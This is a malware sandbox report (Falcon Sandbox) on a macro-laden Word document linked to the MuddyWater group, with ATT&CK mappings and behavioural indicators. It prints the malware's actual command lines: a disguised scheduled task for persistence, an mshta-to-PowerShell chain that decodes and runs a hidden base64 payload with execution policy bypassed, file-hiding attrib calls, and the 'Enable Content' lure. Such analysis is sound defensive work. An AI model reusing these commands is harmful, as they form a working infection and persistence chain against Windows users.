Free Automated Malware Analysis Service - powered by Falcon Sandbox - Viewing online file analysis results for 'd15aee026074fbd18f780fb51ec0632a.doc'

malicious

Threat Score: 100/100 AV Detection: 81% Labeled as: Trojan.Jeki #evasive #macros-on-open

d15aee026074fbd18f780fb51ec0632a.doc

This report is generated from a file or URL submitted to this webservice on December 8th 2018 15:20:25 (UTC) and action script Heavy Anti-Evasion
Guest System: Windows 7 64 bit, Professional, 6.1 (build 7601), Service Pack 1, Office 2010 v14.0.4
Report generated by Falcon Sandbox v8.20 © Hybrid Analysis

Overview Sample unavailable Re-analyze Hash Seen Before Show Similar Samples Report False-Positive Request Report Deletion

Incident Response

Risk Assessment

Spyware: Hooks API calls
Persistence: Schedules a task to be executed at a specific time and date
Spawns a lot of processes
Evasive: Found a reference to a WMI query string known to be used for VM detection

MITRE ATT&CK™ Techniques Detection

This report has 19 indicators that were mapped to 17 attack techniques and 7 tactics. View all details

Execution
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1168	Local Job Scheduling	Execution Persistence	On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron,Die. Learn more	Schedules a task to be executed at a specific time and date	Loads the task scheduler COM API
T1035	Service Execution	Execution	Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. Learn more		Opened the service control manager
T1047	Windows Management Instrumentation	Execution	Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. Learn more		Found a reference to a WMI query string known to be used for VM detection
Persistence
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1168	Local Job Scheduling	Execution Persistence	On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron,Die. Learn more	Schedules a task to be executed at a specific time and date	Loads the task scheduler COM API
T1060	Registry Run Keys / Start Folder	Persistence	Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. Learn more			Modifies auto-execute functionality by setting/creating a value in the registry
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more		Installs hooks/patches the running process Hooks API calls	Loads rich edit control libraries
T1137	Office Application Startup	Persistence	Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. Learn more	Contains embedded VBA macros with keywords that indicate auto-execute behavior		Contains embedded VBA macros (normalized)
Privilege Escalation
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1055	Process Injection	Defense Evasion Privilege Escalation	Process injection is a method of executing arbitrary code in the address space of a separate live process. Learn more	Writes data to a remote process
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more		Installs hooks/patches the running process Hooks API calls	Loads rich edit control libraries
Defense Evasion
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1112	Modify Registry	Defense Evasion	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in [[Persistence]] and [[Execution]]. Learn more		Removes Office resiliency keys (often used to avoid problems opening documents) Modifies proxy settings
T1055	Process Injection	Defense Evasion Privilege Escalation	Process injection is a method of executing arbitrary code in the address space of a separate live process. Learn more	Writes data to a remote process
Credential Access
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more		Installs hooks/patches the running process Hooks API calls	Loads rich edit control libraries
Discovery
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1010	Application Window Discovery	Discovery	Adversaries may attempt to get a listing of open application windows. Learn more			Scanning for window names
T1083	File and Directory Discovery	Discovery	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Learn more			Contains ability to query volume size
T1063	Security Software Discovery	Discovery	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. Learn more			Possibly checks for the presence of an Antivirus engine
T1124	System Time Discovery	Discovery	The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. Learn more			Contains ability to query machine time Contains ability to query the machine timezone
Collection
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1114	Email Collection	Collection	Adversaries may target user email to collect sensitive information from a target. Learn more		Found a potential E-Mail address in binary/memory

Additional Context

OSINT

External References: https://sec0wn.blogspot.com/2018/02/burping-on-muddywater.html
External User Tags: #fireeye #iran #macros #malware #muddywater #powerstats #temp.zagros #vbs

Related Sandbox Artifacts

Associated SHA256s: 3ea10f999e000036a36cb5adcc94658f133f339070e7daeebb65dfd4b58d1398

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

Malicious Indicators 9
External Systems
- Sample was identified as malicious by a large number of Antivirus engines
  
  details
  
  39/59 Antivirus vendors marked sample as malicious (66% detection rate)
  
  source
  
  External System
  
  relevance
  
  10/10
- Sample was identified as malicious by at least one Antivirus engine
  
  details
  
  5/14 Antivirus vendors marked sample as malicious (35% detection rate)
  39/59 Antivirus vendors marked sample as malicious (66% detection rate)
  
  source
  
  External System
  
  relevance
  
  8/10
General
- Document spawns new processes
  
  details
  
  Document spawned a new process (macro present)
  
  source
  
  Indicator Combinations
  
  relevance
  
  7/10
Installation/Persistance
- Schedules a task to be executed at a specific time and date
  
  details
  
  Process "schtasks.exe" with commandline "/Create /RU system /SC ONLOGON /TN Microsoft\WindowsMalwareByteSDK /TR "wscript %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs" /F" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  8/10
  
  ATT&CK ID
  
  T1168 (Show technique in the MITRE ATT&CK™ matrix)
- Writes data to a remote process
  
  details
  
  "WINWORD.EXE" wrote 32 bytes to a remote process "%WINDIR%\System32\wscript.exe" (Handle: 1636)
  "WINWORD.EXE" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1636)
  "WINWORD.EXE" wrote 8 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1636)
  "wscript.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 764)
  "wscript.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 764)
  "wscript.exe" wrote 8 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 764)
  "mshta.exe" wrote 32 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 800)
  "mshta.exe" wrote 52 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 800)
  "mshta.exe" wrote 8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 800)
  "powershell.exe" wrote 32 bytes to a remote process "C:\Windows\System32\attrib.exe" (Handle: 820)
  "powershell.exe" wrote 52 bytes to a remote process "C:\Windows\System32\attrib.exe" (Handle: 820)
  "powershell.exe" wrote 8 bytes to a remote process "C:\Windows\System32\attrib.exe" (Handle: 820)
  "powershell.exe" wrote 32 bytes to a remote process "C:\Windows\System32\attrib.exe" (Handle: 1384)
  "powershell.exe" wrote 52 bytes to a remote process "C:\Windows\System32\attrib.exe" (Handle: 1384)
  "powershell.exe" wrote 8 bytes to a remote process "C:\Windows\System32\attrib.exe" (Handle: 1384)
  "powershell.exe" wrote 32 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 820)
  "powershell.exe" wrote 52 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 820)
  "powershell.exe" wrote 8 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 820)
  
  source
  
  API Call
  
  relevance
  
  6/10
  
  ATT&CK ID
  
  T1055 (Show technique in the MITRE ATT&CK™ matrix)
Unusual Characteristics
- Contains embedded VBA macros with keywords that indicate auto-execute behavior
  
  details
  
  Found keyword "\w+_(?:GotFocus|LostFocus|MouseHover)" which indicates: "Runs when the file is opened and ActiveX objects trigger events"
  Found keyword "Document_Open" which indicates: "Runs when the Word or Publisher document is opened"
  
  source
  
  Static Parser
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1137 (Show technique in the MITRE ATT&CK™ matrix)
- Spawns a lot of processes
  
  details
  
  Spawned process "WINWORD.EXE" with commandline "/n "C:\d15aee026074fbd18f780fb51ec0632a.doc"" (Show Process)
  Spawned process "wscript.exe" with commandline ""%ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs"" (Show Process)
  Spawned process "mshta.exe" with commandline "vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run""powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini))));""
  0 "))" (Show Process)
  Spawned process "powershell.exe" with commandline "-w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini))));" (Show Process)
  Spawned process "attrib.exe" with commandline "+s +h %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs" (Show Process)
  Spawned process "attrib.exe" with commandline "+s +h %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini" (Show Process)
  Spawned process "schtasks.exe" with commandline "/Create /RU system /SC ONLOGON /TN Microsoft\WindowsMalwareByteSDK /TR "wscript %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs" /F" (Show Process)
  Spawned process "Setup.exe" with commandline "-Embedding" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  8/10
Hiding 2 Malicious Indicators
- All indicators are available only in the private webservice or standalone version

Suspicious Indicators 16
Anti-Reverse Engineering
- Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
  
  details
  
  "powershell.exe" is allocating memory with PAGE_GUARD access rights
  
  source
  
  API Call
  
  relevance
  
  10/10
Environment Awareness
- Contains ability to measure performance
  
  details
  
  rdtsc from Setup.exe (PID: 2948) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  10/10
- Found a reference to a WMI query string known to be used for VM detection
  
  details
  
  "private const x_HelpAlias_012_0_Message = " winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM"" (Indicator: "win32_service"; File: "ConfManagerNT.vbs")
  "private const X_HelpAlias_015_0_Message = " winrm get wmicimv2/Win32_Service?Name=WinRM"" (Indicator: "win32_service"; File: "ConfManagerNT.vbs")
  
  source
  
  File/Memory
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1047 (Show technique in the MITRE ATT&CK™ matrix)
General
- Found a potential E-Mail address in binary/memory
  
  details
  
  Pattern match: "qddgcbkr@a.jdzw"
  Pattern match: "a@2.oww"
  Pattern match: "_a3q@443..8"
  Pattern match: "ylh@f2p.s331q"
  Pattern match: "zk@fx.e"
  Pattern match: "m@phbwlq-.dtw"
  Pattern match: "t@sd8r.wn"
  Pattern match: "4dlx@y.b"
  
  source
  
  File/Memory
  
  relevance
  
  3/10
  
  ATT&CK ID
  
  T1114 (Show technique in the MITRE ATT&CK™ matrix)
- Opened the service control manager
  
  details
  
  "WINWORD.EXE" called "OpenSCManager" requesting access rights "SC_MANAGER_CONNECT" (0x1)
  "Setup.exe" called "OpenSCManager" requesting access rights "SC_MANAGER_CONNECT" (0x1)
  
  source
  
  API Call
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1035 (Show technique in the MITRE ATT&CK™ matrix)
- Removes Office resiliency keys (often used to avoid problems opening documents)
  
  details
  
  "WINWORD.EXE" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "US/")
  "WINWORD.EXE" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "2Y/")
  "WINWORD.EXE" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "0Q/")
  "WINWORD.EXE" (Access type: "DELETE"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1112 (Show technique in the MITRE ATT&CK™ matrix)
Installation/Persistance
- Creates new processes
  
  details
  
  "WINWORD.EXE" is creating a new process (Name: "%WINDIR%\System32\wscript.exe", Handle: 1636)
  "wscript.exe" is creating a new process (Name: "%WINDIR%\System32\mshta.exe", Handle: )
  "mshta.exe" is creating a new process (Name: "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", Handle: 800)
  
  source
  
  API Call
  
  relevance
  
  8/10
- Executes a visual basic script
  
  details
  
  Process "wscript.exe" with commandline ""%ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs"" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  10/10
- Loads the task scheduler COM API
  
  details
  
  "schtasks.exe" loaded module "%WINDIR%\System32\taskschd.dll" at FAF60000
  
  source
  
  Loaded Module
  
  relevance
  
  5/10
  
  ATT&CK ID
  
  T1168 (Show technique in the MITRE ATT&CK™ matrix)
- Opens the MountPointManager (often used to detect additional infection locations)
  
  details
  
  "WINWORD.EXE" opened "\Device\MountPointManager"
  "mshta.exe" opened "\Device\MountPointManager"
  
  source
  
  API Call
  
  relevance
  
  5/10
Ransomware/Banking
- Contains calling to enable macros (often the case for malicious documents)
  
  details
  
  "Once you have enable editing, please click Enable Content from the yellow bar above" (Indicator: "enable content")
  
  source
  
  File/Memory
  
  relevance
  
  8/10
System Security
- Hooks API calls
  
  details
  
  "OleLoadFromStream@OLE32.DLL" in "WINWORD.EXE"
  "VariantChangeType@OLEAUT32.DLL" in "WINWORD.EXE"
  "SysAllocStringByteLen@OLEAUT32.DLL" in "WINWORD.EXE"
  "SysFreeString@OLEAUT32.DLL" in "WINWORD.EXE"
  "VariantClear@OLEAUT32.DLL" in "WINWORD.EXE"
  
  source
  
  Hook Detection
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)
- Modifies proxy settings
  
  details
  
  "wscript.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "wscript.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "mshta.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "mshta.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "Setup.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "Setup.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1112 (Show technique in the MITRE ATT&CK™ matrix)
Unusual Characteristics
- Contains embedded VBA macros with suspicious keywords
  
  details
  
  Found suspicious keyword "Chr" which indicates: "May attempt to obfuscate specific strings (use option --deobf to deobfuscate)"
  Found suspicious keyword "Xor" which indicates: "May attempt to obfuscate specific strings (use option --deobf to deobfuscate)"
  Found suspicious keyword "CreateObject" which indicates: "May create an OLE object"
  Found suspicious keyword "Open" which indicates: "May open a file"
  Found suspicious keyword "Write" which indicates: "May write to a file (if combined with Open)"
  Found suspicious keyword "CreateTextFile" which indicates: "May create a text file"
  
  source
  
  Static Parser
  
  relevance
  
  10/10
- Installs hooks/patches the running process
  
  details
  
  "WINWORD.EXE" wrote bytes "401347fdfe070000" to virtual address "0xFD48FE48" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "401347fdfe070000" to virtual address "0xFD48FB48" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "a01267f6fe070000" to virtual address "0xFFC81648" (part of module "WININET.DLL")
  "WINWORD.EXE" wrote bytes "e913b0e4ff" to virtual address "0xFF0550C0" ("OleLoadFromStream@OLE32.DLL")
  "WINWORD.EXE" wrote bytes "48b8101767f6fe070000ffe0" to virtual address "0xFD471000" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "48b8e01367f6fe070000ffe0" to virtual address "0xFD471340" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "e94b9f2f01cccccccccc" to virtual address "0xFDBA6230" ("VariantChangeType@OLEAUT32.DLL")
  "WINWORD.EXE" wrote bytes "97e7663d018fd401" to virtual address "0xEE8F71C0" (part of module "WWLIB.DLL")
  "WINWORD.EXE" wrote bytes "001047fdfe070000" to virtual address "0xFD48FE18" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "001047fdfe070000" to virtual address "0xFD48FB18" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "d0023aeafe070000" to virtual address "0xFF0BA558" (part of module "OLE32.DLL")
  "WINWORD.EXE" wrote bytes "401347fdfe070000" to virtual address "0xFD48FE10" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "001047fdfe070000" to virtual address "0xFD48FE50" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "401347fdfe070000" to virtual address "0xFD48FB10" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "001047fdfe070000" to virtual address "0xFD48FB50" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "48b8bc52fce9fe070000ffe0" to virtual address "0x777A9020" ("SetUnhandledExceptionFilter@KERNEL32.DLL")
  "WINWORD.EXE" wrote bytes "e9abc02f01cc" to virtual address "0xFDBA4060" ("SysAllocStringByteLen@OLEAUT32.DLL")
  "WINWORD.EXE" wrote bytes "00100000" to virtual address "0xFD488468" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "0ede663d018fd401" to virtual address "0xED62FA00" (part of module "GFX.DLL")
  "WINWORD.EXE" wrote bytes "8f37cf3d018fd401" to virtual address "0xF4060160" (part of module "MSPTLS.DLL")
  
  source
  
  Hook Detection
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)
Hiding 1 Suspicious Indicators
- All indicators are available only in the private webservice or standalone version

Informative 23
Anti-Detection/Stealthyness
- Possibly checks for the presence of an Antivirus engine
  
  details
  
  "MalwareByteSDK" (Indicator: "malwarebytes")
  
  source
  
  File/Memory
  
  relevance
  
  3/10
  
  ATT&CK ID
  
  T1063 (Show technique in the MITRE ATT&CK™ matrix)
Anti-Reverse Engineering
- Contains ability to register a top-level exception handler (often used as anti-debugging trick)
  
  details
  
  SetUnhandledExceptionFilter@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  SetUnhandledExceptionFilter@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  SetUnhandledExceptionFilter@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
Environment Awareness
- Contains ability to query machine time
  
  details
  
  GetSystemTime@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetSystemTime@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetSystemTimeAsFileTime@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetSystemTimeAsFileTime@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetSystemTimeAsFileTime@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetLocalTime@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetSystemTimeAsFileTime@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
  
  ATT&CK ID
  
  T1124 (Show technique in the MITRE ATT&CK™ matrix)
- Contains ability to query the machine timezone
  
  details
  
  GetTimeZoneInformation@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
  
  ATT&CK ID
  
  T1124 (Show technique in the MITRE ATT&CK™ matrix)
- Contains ability to query the machine version
  
  details
  
  GetVersion@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetVersionExW@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetVersionExW@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetVersion@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetVersionExW@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetVersionExW@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetVersion@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetVersionExA@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetVersionExA@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetVersionExA@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetVersionExW@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- Contains ability to query the system locale
  
  details
  
  EnumSystemLocalesW@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultLCID@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultLCID@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultLCID@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultLCID@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultLCID@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultLCID@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultUILanguage@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultLCID@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultLCID@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultLCID@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetUserDefaultLCID@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- Contains ability to query volume size
  
  details
  
  GetDiskFreeSpaceExW@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  3/10
  
  ATT&CK ID
  
  T1083 (Show technique in the MITRE ATT&CK™ matrix)
- Makes a code branch decision directly after an API that is environment aware
  
  details
  
  Found API call GetVersion@KERNEL32.DLL directly followed by "cmp eax, 80000000h" and "jnc 3FBCA3FEh" from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetVersionExW@KERNEL32.DLL directly followed by "cmp eax, esp" and "je 3FBD3789h" from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetVersion@KERNEL32.DLL directly followed by "cmp eax, 80000000h" and "jnc 3FBCA285h" from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetVersionExW@KERNEL32.DLL directly followed by "cmp eax, ebx" and "je 3FBC2B95h" from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetVersionExW@KERNEL32.DLL directly followed by "cmp eax, ecx" and "jne 3FBD3871h" from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetVersion@KERNEL32.DLL directly followed by "cmp eax, 80000000h" and "jnc 3FBCA1B1h" from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetVersionExA@KERNEL32.DLL directly followed by "cmp eax, ebx" and "je 3FBD444Ah" from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetSystemTimeAsFileTime@KERNEL32.DLL directly followed by "cmp dword ptr [rsp+34h], ebx" and "ret " from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetSystemTimeAsFileTime@KERNEL32.DLL directly followed by "cmp dword ptr [000000003FCB8808h], 00000000h" and "jne 3FBEA24Eh" from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetSystemTimeAsFileTime@KERNEL32.DLL directly followed by "cmp eax, ebp" and "jnle 3FBE917Bh" from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetVersionExA@KERNEL32.DLL directly followed by "cmp eax, edi" and "je 3FBF0870h" from Setup.exe (PID: 2948) (Show Stream)
  Found API call GetLocalTime@KERNEL32.DLL directly followed by "cmp dword ptr [rsp+20h], ebx" and "jnbe 3FBE7EDCh" from Setup.exe (PID: 2948) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  10/10
- Possibly tries to detect the presence of a debugger
  
  details
  
  GetProcessHeap@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetProcessHeap@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetProcessHeap@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetProcessHeap@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetProcessHeap@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetProcessHeap@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetProcessHeap@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetProcessHeap@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  GetProcessHeap@KERNEL32.DLL from Setup.exe (PID: 2948) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
General
- Contains embedded VBA macros
  
  details
  
  details too long to display
  
  source
  
  Static Parser
  
  relevance
  
  10/10
- Contains embedded VBA macros (normalized)
  
  details
  
  Normalized macro string: "http"
  Normalized macro string: "KHyl.dataType"
  Normalized macro string: "UllMYwoKUHJpdmF0ZSBGdW5jdGlvbiBHZXRFbGVtZW50QXR0cmlidXRlQnlYcGF0aChtc3htbE9iaiwgeHBhdGgsIGF0dHJpYnV0"
  
  source
  
  File/Memory
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1137 (Show technique in the MITRE ATT&CK™ matrix)
- Creates a writable file in a temporary directory
  
  details
  
  "WINWORD.EXE" created file "%TEMP%\~DF4325768A8A3ACF89.TMP"
  "WINWORD.EXE" created file "%TEMP%\Word8.0\MSForms.exd"
  "Setup.exe" created file "%TEMP%\Setup00000b84\OSETUP.DLL"
  "Setup.exe" created file "%TEMP%\SetupExe(20181208163200B84).log"
  "Setup.exe" created file "%TEMP%\Setup00000b84\OSETUPUI.DLL"
  "Setup.exe" created file "%TEMP%\Setup00000b84\BRANDING.XML"
  "Setup.exe" created file "%TEMP%\Setup00000b84\SETUP.CHM"
  "Setup.exe" created file "%TEMP%\GimmeSetup(20181208163340B84).log"
  
  source
  
  API Call
  
  relevance
  
  1/10
- Creates mutants
  
  details
  
  "\Sessions\1\BaseNamedObjects\Local\x64_10MU_ACBPIDS_S-1-5-5-0-56564"
  "\Sessions\1\BaseNamedObjects\Local\x64_10MU_ACB10_S-1-5-5-0-56564"
  "\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906"
  "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex"
  "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex"
  "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001"
  "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001"
  "\Sessions\1\BaseNamedObjects\!IECompat!Mutex"
  "\Sessions\1\BaseNamedObjects\_SHuassist.mtx"
  "\Sessions\1\BaseNamedObjects\Global\_MSIExecute"
  "\Sessions\1\BaseNamedObjects\pidKeyValidationMutex"
  
  source
  
  Created Mutant
  
  relevance
  
  3/10
- Drops files marked as clean
  
  details
  
  Antivirus vendors marked dropped file "~_5aee026074fbd18f780fb51ec0632a.doc" as clean (type is "data")
  
  source
  
  Binary File
  
  relevance
  
  10/10
- Loads rich edit control libraries
  
  details
  
  "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\RICHED20.DLL" at E5610000
  "Setup.exe" loaded module "%WINDIR%\System32\riched20.dll" at F3A30000
  
  source
  
  Loaded Module
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)
- Loads the .NET runtime environment
  
  details
  
